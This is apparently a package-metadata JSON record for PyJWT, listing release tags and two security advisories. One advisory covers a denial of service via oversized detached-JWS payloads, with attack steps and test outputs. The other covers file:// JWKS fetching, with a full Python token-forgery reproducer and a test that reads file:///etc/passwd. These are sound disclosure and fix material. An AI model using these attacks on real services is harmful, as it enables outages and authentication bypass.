.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-06-15T03:14:25.573Z","dependent_packages_count":1012,"downloads":575869260,"downloads_period":"last-month","dependent_repos_count":34706,"rankings":{"downloads":0.007153246381649539,"dependent_repos_count":0.03686673135157839,"dependent_packages_count":0.024577820901052257,"stargazers_count":1.4502748497359719,"forks_count":2.2574911914190388,"docker_downloads_count":0.3033710132114958,"average":0.6799558088334644},"purl":"pkg:pypi/pyjwt","advisories":[{"uuid":"GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0","url":"https://github.com/advisories/GHSA-w7vc-732c-9m39","title":"PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS","description":"\u003e [!NOTE]\n\u003e Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.\n\nWhen verifying detached JWS tokens using the unencoded-payload option (`\"b64\": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules.\n\nFor `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid.\n\nThis creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT.\n\n---\n\n## Affected Component(s)\n\n* `jwt/api_jws.py`\n\n  * `PyJWS.decode()` / `PyJWS.decode_complete()`\n  * `_load()` (parsing and Base64URL decoding)\n\n---\n\n## Root Cause (exact logic flaw)\n\n### What happens in the code\n\nIn `jwt/api_jws.py`, `decode_complete()` does the following (order matters):\n\n* Calls `_load(jwt)` first, which decodes the token segments\n* Only after that, checks `header.get(\"b64\")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input\n\nThis behavior is visible in `decode_complete()`:\n\n* `_load(jwt)` happens **before** the `b64=false` handling\n* then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1])\n\nInside `_load()`, PyJWT unconditionally performs:\n\n* `payload = base64url_decode(payload_segment)`\n  This is the expensive step the attacker can amplify ([GitHub][1])\n\n### Why this becomes a vulnerability\n\nFor `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning:\n\n* cost is paid **even when signature is invalid**\n* the decoded bytes are **discarded**\n* attacker controls the size of this cost via token length\n\n---\n\n## Impact (evidence-driven)\n\n### Security impact\n\n* **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key.\n* **CPU amplification**: Base64URL decode time scales linearly with payload segment size.\n* **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request).\n* **Operational impact**: request queueing / worker starvation under modest concurrency bursts.\n\n### Standards context (RFC 7797)\n\nRFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])\n(PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.)\n\n---\n\n## Affected Versions\n\n* **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo).\n* **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])\n\n(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)\n\n---\n\n# Threat Model \n\n### Typical real deployment\n\nA service verifies signed HTTP requests or webhooks using detached JWS:\n\n* token is provided in JSON body / query / header\n* actual payload is the HTTP request body passed as `detached_payload`\n\n### Attacker\n\n* remote unauthenticated client\n* can send requests to verify endpoint\n* does **not** need a valid signature (invalid signature still triggers the expensive decode path)\n\n### Attack chain\n\n1. Attacker crafts a JWS compact token with header containing `\"b64\": false` and `crit:[\"b64\"]`.\n2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters.\n3. Server calls `PyJWS.decode(...detached_payload=...)`.\n4. PyJWT decodes the inflated segment (CPU + memory).\n5. Signature is rejected afterward (401) — but resources already consumed.\n6. Repeated requests or bursts cause queueing/worker starvation → DoS.\n\n---\n\n# Proof of Concept - file names + results\n\n## PoC placement \n\n* [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n* [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n\n* [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n\n\n---\n\n## PoC # 1 - Localhost verification server\n\n**File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n**Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJWT detached verification and prints:\n`ok / time_ms / peak_bytes / token_len / error`.\n\n### Results (server console output)\n\n```text\n[+] Listening on http://127.0.0.1:8000\n[+] POST /verify  JSON: {\"token\": \"...\"}\n\n[127.0.0.1] ok=True  time_ms=0.102 peak_bytes=2624     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983  token_len=500078   err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=1.591 peak_bytes=2001061  token_len=500117   err=None\n\n[127.0.0.1] ok=True  time_ms=0.065 peak_bytes=2304     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983  token_len=2000078  err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=6.347 peak_bytes=8001061  token_len=2000117  err=None\n\n[127.0.0.1] ok=True  time_ms=0.066 peak_bytes=2304     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None\n```\n\n**Key takeaways from these results**\n\n* At **8,000,000 chars**, a single invalid-signature request still causes:\n\n  * **~23 ms** server work\n  * **~32 MB** peak allocations\n  * returns **401** (invalid signature) → attacker does not need key.\n\n---\n\n## PoC # 2 - Localhost network client\n\n**File:** [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n**Purpose:** generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.\n\n### Results (client output)\n\n#### payload-chars = 500,000\n\n```text\n=== BASELINE (valid b64=false token) ===\nHTTP: 200\nclient_wall_ms: 6.3499...\nserver_time_ms: 0.10197...\nserver_peak_bytes: 2624\n\n=== ATTACK (INVALID signature - attacker needs no key) ===\nHTTP: 401\nclient_wall_ms: 4.1010...\nserver_time_ms: 2.01217...\nserver_peak_bytes: 2000983\nerror: InvalidSignatureError\n\n=== ATTACK (VALID signature - accepted path still wastes) ===\nHTTP: 200\nclient_wall_ms: 3.6586...\nserver_time_ms: 1.59092...\nserver_peak_bytes: 2001061\n```\n\n#### payload-chars = 2,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06527...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 7.53430...\nserver_peak_bytes: 8000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 6.34682...\nserver_peak_bytes: 8001061\n```\n\n#### payload-chars = 8,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06573...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 23.03403...\nserver_peak_bytes: 32000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 22.09702...\nserver_peak_bytes: 32001061\n```\n\n**Why this is strong evidence**\n\n* The server clearly does heavy work **before** rejecting invalid signatures.\n* The “valid signature” case shows even accepted requests waste resources due to unused payload segment.\n\n---\n\n## PoC # 3 - Localhost flood / burst concurrency\n\n**File:** [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n**Purpose:** sends **N concurrent** invalid-signature requests over HTTP to demonstrate queueing/worker starvation.\n\n### Results (your run: 20 concurrent @ 8,000,000 chars)\n\n```text\ntotal_wall_ms: 1374.5405770000616\n\n(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')\n(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')\n(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')\n(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')\n(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')\n(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')\n(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')\n(7,  401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')\n(8,  401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')\n(1,  401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')\n```\n\n**Interpretation**\n\n* Each request still costs ~**20–23 ms** server processing and **~32 MB** peak allocations.\n* But client-observed latency rises up to **~1.15 seconds** because requests queue behind each other → clear worker starvation/HoL blocking.\n* All were rejected with **401 InvalidSignatureError** → still unauthenticated.\n\n---\n\n# Fix \n\n### Goal\n\nPrevent unbounded resource consumption from an attacker-controlled payload segment that is unused in `b64=false` detached flow.\n\n### Minimal change strategy\n\nIn `_load()` (or by refactoring parse order), **do not Base64-decode `payload_segment` until after you know whether `b64=false` applies**.\n\nTwo safe options:\n\n1. **Reject non-empty payload segment when `b64=false`**\n\n   * Parse header first\n   * If `b64` is false and `payload_segment` is non-empty → raise `DecodeError` *before* decoding\n   * Then verification uses `detached_payload` only\n\n2. **Skip decoding payload segment entirely when `b64=false`**\n\n   * Keep payload segment as raw bytes or empty\n   * Use detached payload for signing input\n\nThis aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.\n\n(Implementation context: the current decode order and unconditional `base64url_decode(payload_segment)` are visible in the file and line region around `_load()` and `decode_complete()` ([GitHub][1]).)\n\n---\n\n# Workarounds\n\n* Enforce strict **max token length** at the HTTP boundary (proxy/gateway).\n* Apply rate limiting on verification endpoints.\n* If detached JWS (`b64=false`) is not needed in your app, reject tokens where header includes `\"b64\": false`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:29:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39","https://nvd.nist.gov/vuln/detail/CVE-2026-48525","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-178.yaml","https://github.com/advisories/GHSA-w7vc-732c-9m39"],"source_kind":"github","identifiers":["GHSA-w7vc-732c-9m39","CVE-2026-48525"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-06-16T12:00:09.979Z","epss_percentage":0.00054,"epss_percentile":0.17105,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0","packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003e= 2.8.0, \u003c= 2.12.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz","url":"https://github.com/advisories/GHSA-993g-76c3-p5m4","title":"PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes","description":"\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain — verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}\n```\n\n## Cross-library evidence — PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn't allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI '{self.uri}' has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient('data:application/json,{\"keys\":[]}')\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself — the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class\n\n## Credit\n\nReported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme 